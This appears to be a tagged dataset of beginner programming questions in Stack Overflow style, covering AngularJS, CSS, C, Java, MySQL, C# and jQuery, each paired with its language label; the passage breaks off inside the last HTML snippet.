why does my ng-if work properly only after a refresh   a <code>ng-if</code> inside a ng-template (.aspx file) never works when the page is first loaded.     after a refresh  it will behave as expected. my guess is that it isn t being evaluated until after the elements are created.     how do i ensure it is being handled last to ensure it behaves properly     <pre><code>&lt;a ng-if= node.wrappedobject.isuseradded     class= pull-right btn btn-danger btn-xs useraddedremovetermbutton      data-nodrag ng-click= remove(this) &gt;     &lt;span class= glyphicon glyphicon-remove &gt;&lt;/span&gt; &lt;/a&gt; </code></pre>,angularjs
jssor active thumbnail border  i am using the jssor thumbnail scroller and have got almost everything how i want it but i am stuck on one last thing.    a border on the selected thumbnail image  i want the border on the thumbnail that is selected to be a different colour to the ones not selected.    using the skin 01 i have made all bits of css under it to a width and height of 70px as this sorts out the annoying problem of some borders like the top and right border being 2px when you specify 1px but now i want the thumbnail that is selected currently to have a different colour border.    what class bellow on skin 01 is the bit of css for the currently selected thumbnail    <pre><code> /* jssor slider thumbnail navigator skin 01 css */  /*  .jssort01 .p (normal)  .jssort01 .p:hover   (normal mouseover)  .jssort01 .p.pav     (active)  .jssort01 .p.pdn     (mousedown)  */   .jssort01 {  position: absolute;  /* size of thumbnail navigator container */  width: 233px;  height: 90px;  }   .jssort01 .p {  position: absolute;  top: 0;  left: 0;  width: 72px;  height: 72px;  }   .jssort01 .t {  position: absolute;  top: 0;  left: 0;  width: 100%;  height: 100%;  border: none;  }   .jssort01 .w {  position: absolute;  top: 0px;  left: 0px;  width: 100%;  height: 100%;  }   .jssort01 .c {  position: absolute;  top: 0px;  left: 0px;  width: 70px;  height: 70px;  border: red 1px solid;  box-sizing: content-box;  background: url(../img/t01.png) -800px -800px no-repeat;  _background: none;  }   .jssort01 .pav .c {  top: 2px;  _top: 0px;  left: 2px;  _left: 0px;  width: 70px;  height: 70px;  border: red 0px solid;  _border: red 1px solid;  background-position: 50% 50%;  }   .jssort01 .p:hover .c {  top: 0px;  left: 0px;  width: 70px;  height: 70px;  border: blue 1px solid;  background-position: 50% 50%;  }   .jssort01 .p.pdn .c {  background-position: 50% 50%;  width: 70px;  height: 70px;  border: red 1px solid;  }   * html .jssort01 .c  * html .jssort01 .pdn .c  * html .jssort01 .pav .c {  /* ie quirks mode adjust */  width /**/: 72px;  height /**/: 72px;  } </code></pre>   i have played about with all the border settings above changing colours with test colours changing border px sizes but i cant for the life of me figure out what in the above code deals with the border on the automaticly selected thumbnail.    in the above css it lists this as a tip    .jssort01 .p.pav     (active)    but there is no <strong>.jssort01 .p.pav</strong> in the actual code    thanks for any help.,css
a do-while loop keeps saying the same thing  how come this loop always says  pick  s  or  h  try again  when i pick  s  or  h   i feel like the logic is correct i just don t know it says that no matter what i put even if it is  s  or h .    <pre><code>do {     printf( do you want to (h)it or (s)tand  );     scanf( %ch   &amp;decision);     tolower(decision);     if (decision !=  h  &amp;&amp; decision !=  s ) {         printf( pick  s  or  h . try again.\n );         printf( do you want to (h)it or (s)tand  );         scanf( %ch   &amp;decision);         tolower(decision);     }     if (decision ==  h ) {         playershand = add_card_to_hand(&amp;playershand  card);         printf( your cards:\n );         print_hand(playershand);         playerscore = blackjack_value(playershand);         printf( score = %d\n   playerscore);     }     if (decision ==  s ) {         add_card_to_hand(&amp;dealershand  card);         print_hand(dealershand);     } </code></pre>,c
how do i align images in a row all vertically aligned in the middle no matter what height and with a fluid width   i m trying to create some fluid images that are aligned side by side but should also be vertically aligned in the middle no matter what there height dimensions are  i ve set the images to have a max-width: 100% so they stay within their parents max-width so i can reduce these in size at smaller screen widths. my problem however is that i m not sure of the best way to vertically align these images  can anyone advise     <strong>css</strong>   <pre><code>.img-ctn {     display: inline-block;     margin-right: 3%;     max-width: 120px;     background: #cecece; }  .img-ctn &gt; img {     display: block;     height: auto;     max-width: 100%;     min-width: 100%;     vertical-align: middle; } </code></pre>   <strong>fiddle:</strong> <a href= http://jsfiddle.net/xmj3r/  rel= nofollow >http://jsfiddle.net/xmj3r/</a>,css
angularjs isn t loading ngstorage or any module  i know this is a common issue  but i have a project i m porting over to angular and none of the modules i need to load inside the app (namely ngstorage) are loading. i continue to get this error in the console log:   <pre><code>angular.js:68 uncaught error: [$injector:modulerr] failed to instantiate module icsportalloginauth due to: error: [$injector:modulerr] failed to instantiate module ngstorage due to: error: [$injector:nomod] module  ngstorage  is not available! you either misspelled the module name or forgot to load it. if registering a module ensure that you specify the dependencies as the second argument. http://errors.angularjs.org/1.5.0/$injector/nomod p0=ngstorage     at http://devel1.local.com/js/ng/angular.js:68:12     at http://devel1.local.com/js/ng/angular.js:2015:17     at ensure (http://devel1.local.com/js/ng/angular.js:1939:38)     at module (http://devel1.local.com/js/ng/angular.js:2013:14)     at http://devel1.local.com/js/ng/angular.js:4503:22     at foreach (http://devel1.local.com/js/ng/angular.js:321:20)     at loadmodules (http://devel1.local.com/js/ng/angular.js:4487:5)     at http://devel1.local.com/js/ng/angular.js:4504:40     at foreach (http://devel1.local.com/js/ng/angular.js:321:20)     at loadmodules (http://devel1.local.com/js/ng/angular.js:4487:5) http://errors.angularjs.org/1.5.0/$injector/modulerr p0=ngstorage&amp;p1=error%…ules%20(http%3a%2f%2fdevel1.local.com%2fjs%2fng%2fangular.js%3a4487%3a5)     at http://devel1.local.com/js/ng/angular.js:68:12     at http://devel1.local.com/js/ng/angular.js:4526:15     at foreach (http://devel1.local.com/js/ng/angular.js:321:20)     at loadmodules (http://devel1.local.com/js/ng/angular.js:4487:5)     at http://devel1.local.com/js/ng/angular.js:4504:40     at foreach (http://devel1.local.com/js/ng/angular.js:321:20)     at loadmodules (http://devel1.local.com/js/ng/angular.js:4487:5)     at createinjector (http://devel1.local.com/js/ng/angular.js:4409:19)     at dobootstrap (http://devel1.local.com/js/ng/angular.js:1691:20)     at bootstrap (http://devel1.local.com/js/ng/angular.js:1712:12) http://errors.angularjs.org/1.5.0/$injector/modulerr p0=icsportalloginauth&amp;…rap%20(http%3a%2f%2fdevel1.local.com%2fjs%2fng%2fangular.js%3a1712%3a12) </code></pre>   ngstorage is loaded in the header before angularjs or my angular model:   <pre><code>&lt;script type= text/javascript  src= /js/ngstorage/ngstorage.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/ng/angular.js &gt;&lt;/script&gt; &lt;script src= js/ngres/loginauth.js &gt;&lt;/script&gt; </code></pre>   and ngstorage is declared in the app declaration   <pre><code>var app = angular.module( devel1   [ ngstorage ]); </code></pre>   i am not entierly clear on what else could be causing this. there are other javascript dependencies being loaded that could cause interference  namely jquery and jspdf. could these be interfering with the module loader     i m stumped as to what the cause could be here. i remove the module and the code works (whatever little code there is) as intended.,angularjs
fade() function doesn t work  i am learning javascript through the book  javascript: the good parts . one of the examples is a fade function  as below:   <pre><code>  1 var fade = function (node) {   2     var level = 1;   3     var step = function () {   4         var hex = level.tostring(16);   5         node.style.backgroundcolor =  #ffff  + hex + hex;   6         if (level &lt; 15) {   7             level += 1;   8             settimeout(step  100);   9         }  10     };  11     settimeout(step  100);  12 };  13   14 fade(document.body);   </code></pre>   but i didn t get the desired effect. any idea of what might go wrong     p.s. this is my .html file. i don t know if this is useful.   <pre><code>  1 &lt; xml version= 1.0  encoding= utf-8  &gt;   2 &lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en    3      http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt;   4 &lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= en  lang= en &gt;   5     &lt;head&gt;   6         &lt;title&gt;my program&lt;/title&gt;   7     &lt;/head&gt;   8     &lt;body&gt;   9         &lt;pre&gt;  10             &lt;script type =  text/javascript  src =  program.js &gt;&lt;/script&gt;  11         &lt;/pre&gt;  12     &lt;/body&gt;  13 &lt;/html&gt;           </code></pre>   thank you very much!,javascript
how to share files or image from iphone to iphone otherthan airdrops  transfer files between <code>ios</code> and <code>non-ios</code> devices.the above mentioned file sharing options are only available among <code>ios</code> devices. when sharing files with other devices (<code>android</code>  windows phone  etc.)  you have two options here as well – via the internet or via <code>wifi</code> (without internet).,ios
switch with scanf one more input  i d like to ask  if somebody can help me with the problem i have in my code. i mean while i want scanf  2 variables  code want one more input.. dunno whats wrong..  btw: i add part of the code    <img src= https://i.stack.imgur.com/kfaez.jpg  alt= enter image description here >   <pre><code>for(i;i&lt;4;i++){     switch(i){     case 0:{         printf( bod #1:\n );         scanf( %d%d\n  &amp;x1 &amp;y1);         printf( x1=%d y1=%d\n  x1 y1);         printf( working 1\n );     }     break; </code></pre>,c
error enum java  i have this enum   <pre><code>public enum enumerare {     diesel benzina none } </code></pre>   and i have the class with name  bicicleta  (in english bicycle)   <pre><code>public class bicicleta extends vehicul{      enumerare tip;      public bicicleta(string serie enumerare tip)     {         this.tip=none;         this.serie=serie;     }  } </code></pre>   i want to be set only parameter <code>none</code> for a bicycle.    otherwise  if another parameter setting trying to throw an exception of type <code>notvalidetypeexception</code>.     this is done in the constructor of bicycle or main program     however  currently receive this syntax error   <blockquote>    cannot find symbol none  </blockquote>,java
i cannot find the table i created in the schema  i have a questions when i try to create a table in mysql. the syntax is below:   <pre><code>create table abc as (select * from  (select adddate( 2010-01-01  t5.i*100000 +t4.i*10000 + t3.i*1000 + t2.i*100 + t1.i*10 + t0.i) selected_date from  (select 0 i union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) t0   (select 0 i union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) t1   (select 0 i union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) t2   (select 0 i union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) t3   (select 0 i union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) t4   (select 0 i union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) t5) v  where selected_date between  2010-01-01  and  2020-12-31 ); </code></pre>   it seems that i create the table successfully  but i cannot find this table in the tables list or even in the schema.     could someone who has expertise in sql help me check the syntax,mysql
load huge data to memory using python  i have to load large data to the memory  and the structure is list. how can i get another approach. thanx,python
how to get memory consumption of a process as shown intask manager (.net)  i m still not able to get the memory consumption of a process (usually the current process) exactly as shown in task manager. i ve already tried several values supplied in system.diagnostics.process and some performance counters. is there some direct way to do that or is it neccesary to add up some values,.net
perimeter calculator java  i m trying to write a program that would be able to calculate the perimeter of either a circle  triangle  or rectangle. however the program doesn t run correctly  it just show the menu but i can t input anything.    <pre><code>public class geometrydriver  {  public static void main(string[] args)  {     double radius;   double side1 = 0;    double side2 = 0;   double side3 = 0;    double length =0;   double width =0;    double perimeter = 0;   string userchoice;      scanner keyboard = new scanner(system.in);     int option;       system.out.println( welcome to the geometry calculator!\n              +  in this program we will use a menu to decide what kind of shape we will create.\n              +  \n1.create and calculate perimeter of a circle              +  \n2. create and calculate perimeter of a rectangle              +  \n3. create and calculate perimeter of a triangle );        string input;     geometricshape ashape = null;      option = keyboard.nextint();         switch (option)     {         case 1:                input = joptionpane. showinputdialog(null   enter the radius:  );             radius = double.parsedouble(input);             ashape = new geometricshape(radius);             perimeter = ashape.getperimeter();               ashape = new geometricshape(radius);             break;          case 2:               input = joptionpane.showinputdialog(null   enter the length:  );              length = double.parsedouble(input);              perimeter = ashape.getperimeter();             input = joptionpane.showinputdialog(null   enter the width:  );             width = double.parsedouble(input);              ashape = new geometricshape (length  width);               break;         case 3:              perimeter = ashape.getperimeter();              input = joptionpane.showinputdialog(null   enter side 1:  );             input = joptionpane.showinputdialog(null   enter side 2:  );             input = joptionpane.showinputdialog(null   enter side 3:  );             side1 = double.parsedouble(input);             side2 = double.parsedouble(input);             side3 = double.parsedouble(input);              ashape = new geometricshape (side1  side2  side3);              break;         default:                      }         system.out.println(ashape +   has perimeter  + perimeter); }  } </code></pre>   and...   <pre><code>public class geometricshape  {     private double side1  side2  side3;     private double radius;      private double length  width;      private boolean triangle = false;     private boolean rectangle = false;     private boolean circle = false;`       public geometricshape(double aside1  double aside2  double aside3)     {         side1 = aside1;         side2 = aside2;         side3 = aside3;         triangle = true;     }      public geometricshape(double alength  double awidth)     {         length = alength;         width = awidth;         rectangle = true;     }       public geometricshape(double aradius)     {         radius = aradius;         circle = true;     }      public double getradius()     {         return radius;     }      public double getside1()     {         return side1;     }      public double getside2()     {         return side2;     }      public double getside3()     {         return side3;     }      public double getlength()     {         return length;     }      public double getwidth()     {     return width;     }      public void setradius(double aradius)     {         radius = aradius;     }      public void setside1(double aside1)     {         side1 = aside1;     }      public void setside2(double aside2)     {         side2 = aside2;     }      public void setside3(double aside3)     {         side3 = aside3;     }      public void setlength(double alength)     {         length = alength;     }      public void setwidth(double awidth)     {         width = awidth;     }      public double getperimeter()     {          double perimeter = 0;           if (triangle == true)         {             perimeter = side1 + side2 + side3;          }          else if (rectangle == true)         {             perimeter = (2* length) + (2*width);         }          else if (circle == true)         {             perimeter = 2* math.pi * radius;          }        }      public string tostring()     {         return  the perimeter is:   + this.getperimeter();      } } </code></pre>,java
controls added dynamically don t persist  i have this panel...   <pre><code>&lt;asp:panel id= pansumarios  runat= server  style= border:0px solid red;width:100%  viewstatemode= enabled &gt;&lt;/asp:panel&gt; </code></pre>   ...inside a div associated to a modalpopupextender.    then  on a button click  i add some controls (textboxes) dinamically to this panel. when i close (confirm) the modalpopupextender  i try to access this textboxes with no luck. they don t exist. it seems they do not persist after postback (when i confirm modalpopupextender).    any ideas     thanks in advance.,asp.net
variable in implementation file  i just started picking up objective c and i have been following a tutorial online. in the tutorial  it set the nsmutablearay pointer in the implementation (.m file) in the curly brackets.  i thought the pointer variable should be declared in the header file. what is the reason / benefit of having the pointer variable in the implementation file in the curly brackets      <pre><code>@interface appdelegate ()  @end  @implementation appdelegate {     nsmutablearray *_players; } </code></pre>,objective-c
count occurence of a character in a string  i have the below program that counts the occurrence of a character in a string. for example  given a string - <code>my name is stack overflow</code>  i want the output to be   <pre><code>f 1 e 2 c 1 a 2 n 1 o 2 l 1 m 2 k 1 i 1 w 1 v 1 t 1 s 2 r 1 y 1 </code></pre>   however  something seems to be wrong  and i am unable to figure out what. also  please note - i do see a few programs posted in the past. <a href= https://stackoverflow.com/questions/4363665/hashmap-implementation-to-count-the-occurences-of-each-character >possible duplicate</a>. but i would like help with my specific problem rather than using someone else  solution.    here s the code:   <pre><code>//count the occurence of a character in a string package strings;  import java.io.bufferedreader; import java.io.inputstreamreader; import java.util.arraylist; import java.util.hashmap; import java.util.list; import java.util.map;  public class characteroccurenceinastring {     private static map&lt;integer  character&gt; str = new hashmap&lt;integer  character&gt;();     private static list&lt;character&gt; charlist = new arraylist&lt;character&gt;();     private static character value;      public static void main(string[] args) {         bufferedreader br = null;         string input =   ;         try {             br = new bufferedreader(new inputstreamreader(system.in));             system.out.println( please enter a string );             input = br.readline();             charoccurence(input);         } catch (exception ex) {             ex.printstacktrace();         }     }     public static void charoccurence(string s) {                 for (int i = 0; i &lt; s.length(); i++) {             // don t include white spaces -                      if (character.iswhitespace(s.charat(i))) {                 continue;             } else {                 str.put(i  s.charat(i));                 charlist.add(s.charat(i));             }         }         for(character val:str.values()){                 getcount(val);         }     }      static boolean flag = false;     public static int getcount(character c) {         int ct = 0;         for (int i = 0; i &lt; charlist.size(); i++) {                      c = charlist.get(i);             if (charlist.contains(c)) {                 ct++;                 flag=false;             }                    }         if(flag==false)         {         system.out.println(c +  :  + ct);         }         return ct;     } } </code></pre>   this is the output i get:   <pre><code>please enter a string my name is stack overflow w:21 w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21  w:21 </code></pre>,java
"underscore appears at end of images anchors  there is a problem with my code where tiny underscores appear on the bottom-right corner of my anchor image. i have no idea how to fix it. i ve heard answerers form other similar questions saying you have to add a closing <code>&lt;/a&gt;</code> tag at the end  but that doesn t seem to be the problem  as i already have those tags included in my code. i also don t remember adding underscores into my code on purpose  so i have no idea how it can be removed.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;&lt;/head&gt;
 &lt;body style= background-image: url(https://img.michaels.com/l6/3/ioglo/852866719/201341423/10151236.jpg fit=inside|1024:1024); &gt;
 &lt;button onclick= executecommand()  style= border: 0; background: 0; &gt;&lt;img src= https://image.flaticon.com/icons/svg/54/54527.svg  style= padding: 5px 0px 0px 0px; width: 40px; height: 40px; &gt;&lt;/button&gt;&lt;div id= search &gt;&lt;/div&gt;
 &lt;br&gt;
 &lt;a href= https://www.google.ca/  target= _blank &gt;&lt;img src= https://storage.googleapis.com/gweb-uniblog-publish-prod/images/chrome__logo.max-2800x2800.png  alt= google chrome  style= width: 40px; height: 40px; padding: 0px 0px 5px 4px &gt;
 &lt;/a&gt;
 &lt;br&gt;
 &lt;a href= https://mail.google.com/  target= _blank &gt;&lt;img src= https://storage.googleapis.com/gweb-uniblog-publish-prod/images/gmail_logo.max-2800x2800.png  alt= google mail  style= width: 40px; height: 40px; padding: 5px 0px 5px 4px &gt;
 &lt;/a&gt;
 &lt;br&gt;
 &lt;a href= https://docs.google.com/  target= _blank &gt;&lt;img src= https://seeklogo.com/images/g/google-docs-logo-6a8cd4f30a-seeklogo.com.png  alt= google docs  style= width: 30px; height: 40px; padding: 5px 0px 5px 9px &gt;
 &lt;/a&gt;
 &lt;br&gt;
 &lt;a href= https://www.youtube.com/  target= _blank &gt;&lt;img src= https://lh3.googleusercontent.com/ned_tu_ge6ggjz_lio_5mieiemjdpq9kfgd05wapmvzcinvt4qqmxhxq_heazf8zsqa=w300  alt= youtube  style= width: 40px; height: 40px; padding: 5px 0px 5px 4px &gt;
 &lt;/a&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
selecting mins and maxs and comparing them  i have a table with columns id  sellprice  buyprice and date   <pre><code>id  sellprice   buyprice    date 1   15      17      2012-6-10 10:21:09 2   18      20      2012-6-10 10:23:34 3   22      24      2012-6-10 10:24:21 4   19      21      2012-6-10 10:25:23 5   17      20      2012-6-10 10:29:34 6   16      19      2012-6-10 10:31:43 7   15      17      2012-6-10 10:34:51 8   16      21      2012-6-10 10:36:13 9   21      23      2012-6-10 10:39:21 </code></pre>   i would like to choose min buyprice and max sellprice; and if maximum sellprice price is after minimum buyprice then i want to compare  to get how much i earned - say i bought from <strong>17</strong> then i sold it <strong>22</strong>. as you may see in the table minimum and maximum values may occure several time. how can i query to get the result i want.    the query i am trying has some problem. if i use date to limit in where clause i get  subquery returns more than 1 row  warning and nothing happens   <pre><code>$minmax_query= select  max(sellprice) as maxprice  (select id from $table where sellprice = max(t2.sellprice)   ) as maxid   min(buyprice) as minprice  (select id from $table   where buyprice = min(t2.buyprice)    ) as minid from $table   t2 where date(date) =  2012-06-10  </code></pre>,mysql
where can i practice sql   how can i practice sql,sql
how to assign uiimageview delegate to its super uiview so that it can know which uiimageview is touched  i have several uiimageviews contained by a uiview. my idea is when a uiimageview is touched  the uiview can know which one is touched thru delegate.<br> here s my code<br> myimageview.h    <pre><code>@protocol myimageviewdelegate   -(void)touchedelegate:(id)sender; @end  @interface myimageview:uiimageview{   id&lt;myimageviewdelegate&gt; delegate; }  @property(assign) id&lt;myimageviewdelegate&gt; delegate; @end </code></pre>   myimageview.h   <pre><code>@implementation myimageview @synthesize delegate  -(void)touchesbegan:(nsset *)touches withevent:(uievent *)event{   [self.delegate touchdelegate:self]; } </code></pre>   myview.m     <pre><code>-(void)functiona{   for(int i=0;i&lt;4;i++){     myimageview *imageview=[[myimageview alloc] init];     imageview.delegate=self;  //here it gives a warning saying assigning to  id&lt;myimageviewdelegate&gt;  from incompatible type  myview *      [self addsubview:imageview];     [imageview release];   } }  -(void)touchdelegate:(id)sender{   nslog(@ in superview ); } </code></pre>   the exception is unrecognized seletor sent to instance 0x7526c30. what does this mean <br> i m new to objective c and i m not very clear about this delegate thing or the warning i mentioned in the code block. what s the problem  any suggestion,objective-c
output the strings inside of multiple .txt files in a directory  i have a folder which file name is:  list of names . inside that folder i have a 5  .txt  file documents and each document file names is a person s name.    i want to retrieve the five documents and display the strings inside each documents. how do i do this  i tried this:   <pre><code>import java.io.*; import java.util.*;  public class liarliar {     public static void main(string args[])throws ioexception{          file galileo = new file( c:\\list of names\\galileo.txt );         file leonardo = new file( c:\\list of names\\leonardo.txt );         file rafael = new file( c:\\list of names\\rafael.txt );         file donatello = new file( c:\\list of names\\donatello.txt );         file michael = new file( c:\\list of names\\michael.txt );         fileinputstream fis = null;         bufferedinputstream bis = null;         datainputstream dis = null;          try{             system.out.println( enter a number list of names: );             scanner scanner = new scanner(system.in);             int input = scanner.nextint();          }catch(filenotfoundexception e){         }catch(ioexception e){         }     } } </code></pre>   thanks in advance for someones time...,java
change images using jquery  i have image tag on my page . i need that tag shows different images on every 1s. my pictures are stored in folder   pict . how to achieve this using jquery,jquery
is there a way in objective-c to declare a function-bound ivar inside of a member function   e.g.  once  would be instance-function specific  the @ directive would be an initializer of sorts    <pre><code>-(void)mightbecalledmorethanonce {   @bool once = yes;    if (once) {     once = no;     nslog(@ hurray );   } } </code></pre>  <hr>   this is very different than a static-global from c or a static-global dispatch from gcd.,objective-c
my array of objects is only printing the last object entered c#  my array of objects when printed only returns the value of the last group of objects entered. so if i enter a set of values in at the end it will only print out the last set of data.    namespace classschedule {     class program     {   <pre><code>    static void main(string[] args)     {          course[] newarray = new course[25];          course[   ] mycoursearray = new course[6 5];         course info = new course();         int sections  classregistration  periods;         string names  classday;          for (int x1 = 0; x1 &lt; 6; x1++)         {             for (int y1 = 0; y1 &lt; 5; y1++)             {                  mycoursearray[x1  y1] = new course();             }         }           for (int x1 = 0; x1&lt;5;x1++)         {             newarray[x1] = new course();         }          int x = 0;         int y = 0;         for (int g = 0; g &lt;= 4; g++)         {             for (int h = 0; h &lt;= 5; h++)             {                 info.busy = 0;                 info.section = 0;                 info.classize = 0;                 info.classname =   ;                 mycoursearray[h  g] = info;             }          }             for (int j = 0; j &lt; 24; j++)         {                console.writeline( please enter class name:  );             names = console.readline();               char choice =  y ;             console.writeline( please enter the section of your class:  );             sections = convert.toint32(console.readline());            while (choice ==  y  || choice ==  y )             { if (sections &lt;= 90)                 {                      choice =  n ;                 }             else                 {                     console.writeline( section is to high must be below 90 );                      choice =  n ;                    }                                                          }              console.writeline( please enter the amount of students in the class:  );             classregistration = convert.toint32(console.readline());               console.writeline( please enter the first letter of the day of the class **for thursday please type x );             classday = console.readline();               console.writeline( please enter your class period );             periods = convert.toint32(console.readline());              x = periods - 1 ;             if (classday ==  m )                 y = 0;             else if (classday ==  t )                 y = 1;             else if (classday ==  w )                 y = 2;             else if (classday ==  x )                 y = 3;             else if (classday ==  f )                 y = 4;                  info.classname = names;                 info.section = sections;                 info.classize = classregistration;                 info.busy = 1;                 mycoursearray[x  y] = info;                 newarray[y+1] = info;               }      {         for (int i = 0; i &lt; 6; i++)         {             for (int j = 0; j &lt; 5 ; j++)             {                 console.write(mycoursearray[i  j].classname +     + mycoursearray[i  j].section+       + mycoursearray[i  j].classize);                 //console.write(mycoursearray[i  j].section);                 //console.write(mycoursearray[i  j].classize);             }                 console.writeline();         }     }                                     console.readline();           }     class course     {          public int section;         public string classname;         public int classize;         public int busy;       } } </code></pre>   },c#
keyvaluepair vs dictionaryentry  what is the difference between keyvaluepair which is the generic version and dictionaryentry     why keyvaluepair is used instead of dictionaryentry in generic dictionary class,c#
diferiantiating between onclick with nested elements  i have two elements that are within each other  both of them have .click() assigned to them  however when i click the child element(even tho it has higher z-index) the parent fires too. here s an example:   <pre><code>&lt;div class= element_add excluded &gt;&lt;div class= gear &gt;&lt;/div&gt;&lt;/div&gt; </code></pre>   jquery looks like this   <pre><code>$(document).on( click    .element_add   function() {     alert( one ); }); $(document).on( click    .element_add .gear   function() {     alert( two ); }); </code></pre>   both of them fire even tho .gear has a higher z-index. any help would be appreciated!,jquery
unresolved compilation problems: the method getinput(string) is undefined for the type main  maybe i m forgetting an import at the head  but nothing seems to work.  i m trying to learn java and still beginner.   <pre><code>public class main {      public static void main(string[] args) {     string s1=getinput( enter first number ) ;     string s2=getinput( enter second number );      double d1=double.parsedouble(s1);     double d2=double.parsedouble(s2);     double result=d1+d2 ;     system.out.println(result);   }} </code></pre>   results in an error because the compiler doesn t recognize <code>getinput(  );</code>    this is from eclipse:   <pre><code>exception in thread  main  java.lang.error: unresolved compilation problems:          the method getinput(string) is undefined for the type main         the method getinput(string) is undefined for the type main          at main.main(main.java:8) </code></pre>,java
sql generate random values  maybe someone know  how to generate number for same clients  let s take that i need to have:   <pre><code>|client|random_number| |     1|       a2d5c4| |     1|       a2d5c4| |     2|       a3d5c4| |     1|       a2d5c4| </code></pre>   thanks for help! p.s. i m using sql developer.,sql
how to use addeventlistener()   queryselectorall and getelementsbyclassname for popup box  i would like to put a popup box on my website which have same id. those pop up boxes should be display after i clicked button. those buttons have same id.    my script code is   <pre><code>&lt;script type= text/javascript &gt;     // get modal element var modal = document.queryselectorall( .simplemodal ); // get open modal button var modalbtn = document.queryselectorall( .modalbtn ); // get close button var closebtn = document.queryselectorall( .closebtn )[0];  for (var i = 0; i &lt; modalbtn.length; i++) {        modalbtn[i].addeventlistener( click   openmodal);         // listen for close click        closebtn[i].addeventlistener( click   closemodal);        window.addeventlistener( click   outsideclick);     }  function openmodal(){   modal.style.display =  block ; }  // function to close modal function closemodal(){   modal.style.display =  none ; }  // function to close modal if outside click function outsideclick(e){   if(e.target == modal){     modal.style.display =  none ;   } } &lt;/script&gt; </code></pre>   my html code is below i mentioned this code using derived the data from database.   <pre><code>&lt; php echo &lt;a href= single.php &gt;&lt;img title=    alt=    src= images/$row2[pic] &gt;&lt;/a&gt;             &lt;p&gt;cookware&lt;/p&gt;             &lt;h4&gt;$ $row2[price] &lt;span&gt;$45.00&lt;/span&gt;&lt;/h4&gt;  &gt;         &lt;/div&gt;          &lt; php echo          &lt;button  class= modalbtn button &gt;details&lt;/button&gt;           &lt;div class= simplemodal modal &gt;             &lt;div class= modal-content &gt;               &lt;div class= modal-header &gt;                   &lt;span class= closebtn &gt;&amp;times;&lt;/span&gt;                  &lt;h2&gt;modal header&lt;/h2&gt;               &lt;/div&gt;               &lt;div class= modal-body &gt;                 &lt;p&gt;$row2[name]&lt;/p&gt;                 &lt;p&gt;$row2[description]&lt;/p&gt;               &lt;/div&gt;               &lt;div class= modal-footer &gt;                 &lt;h3&gt;modal footer&lt;/h3&gt;               &lt;/div&gt;             &lt;/div&gt;           &lt;/div&gt;     &lt;/div&gt;  &gt; </code></pre>   my html code   <pre><code>&lt;div class= agile_top_brands_grids &gt;                           &lt;div class= col-md-4 top_brand_left &gt;         &lt;div class= hover14 column &gt;             &lt;div class= agile_top_brand_left_grid &gt;                 &lt;div class= agile_top_brand_left_grid_pos &gt;                     &lt;img src= images/offer.png  alt=    class= img-responsive &gt;                 &lt;/div&gt;                 &lt;div class= agile_top_brand_left_grid1 &gt;                     &lt;figure&gt;                         &lt;div class= snipcart-item block &gt;                             &lt;div class= snipcart-thumb &gt;                                 &lt;a href= single.php &gt;&lt;img title=    alt=    src= images/c.png &gt;&lt;/a&gt;                                 &lt;p&gt;cookware&lt;/p&gt;                                 &lt;h4&gt;452&lt;span&gt;$45.00&lt;/span&gt;&lt;/h4&gt;  &gt;                             &lt;/div&gt;                              &lt;button id= modalbtn   class=  button &gt;details&lt;/button&gt;                               &lt;div id= simplemodal   class=  modal &gt;                                 &lt;div class= modal-content &gt;                                   &lt;div class= modal-header &gt;                                       &lt;span class= closebtn &gt;&amp;times;&lt;/span&gt;                                      &lt;h2&gt;modal header&lt;/h2&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-body &gt;                                     &lt;p&gt;biscuit&lt;/p&gt;                                     &lt;p&gt;tasty food&lt;/p&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-footer &gt;                                     &lt;h3&gt;modal footer&lt;/h3&gt;                                   &lt;/div&gt;                                 &lt;/div&gt;                               &lt;/div&gt;                                &lt;button id= modalbtn  class=  button &gt;details&lt;/button&gt;                               &lt;div id= simplemodal  class=  modal &gt;                                 &lt;div class= modal-content &gt;                                   &lt;div class= modal-header &gt;                                       &lt;span class= closebtn &gt;&amp;times;&lt;/span&gt;                                      &lt;h2&gt;modal header&lt;/h2&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-body &gt;                                     &lt;p&gt;biscuit&lt;/p&gt;                                     &lt;p&gt;tasty food&lt;/p&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-footer &gt;                                     &lt;h3&gt;modal footer&lt;/h3&gt;                                   &lt;/div&gt;                                 &lt;/div&gt;                               &lt;/div&gt;                                &lt;button id= modalbtn  class=  button &gt;details&lt;/button&gt;                               &lt;div id= simplemodal  class=  modal &gt;                                 &lt;div class= modal-content &gt;                                   &lt;div class= modal-header &gt;                                       &lt;span class= closebtn &gt;&amp;times;&lt;/span&gt;                                      &lt;h2&gt;modal header&lt;/h2&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-body &gt;                                     &lt;p&gt;biscuit&lt;/p&gt;                                     &lt;p&gt;tasty food&lt;/p&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-footer &gt;                                     &lt;h3&gt;modal footer&lt;/h3&gt;                                   &lt;/div&gt;                                 &lt;/div&gt;                               &lt;/div&gt;                                &lt;button id= modalbtn  class=  button &gt;details&lt;/button&gt;                               &lt;div id= simplemodal  class= modal &gt;                                 &lt;div class= modal-content &gt;                                   &lt;div class= modal-header &gt;                                       &lt;span class= closebtn 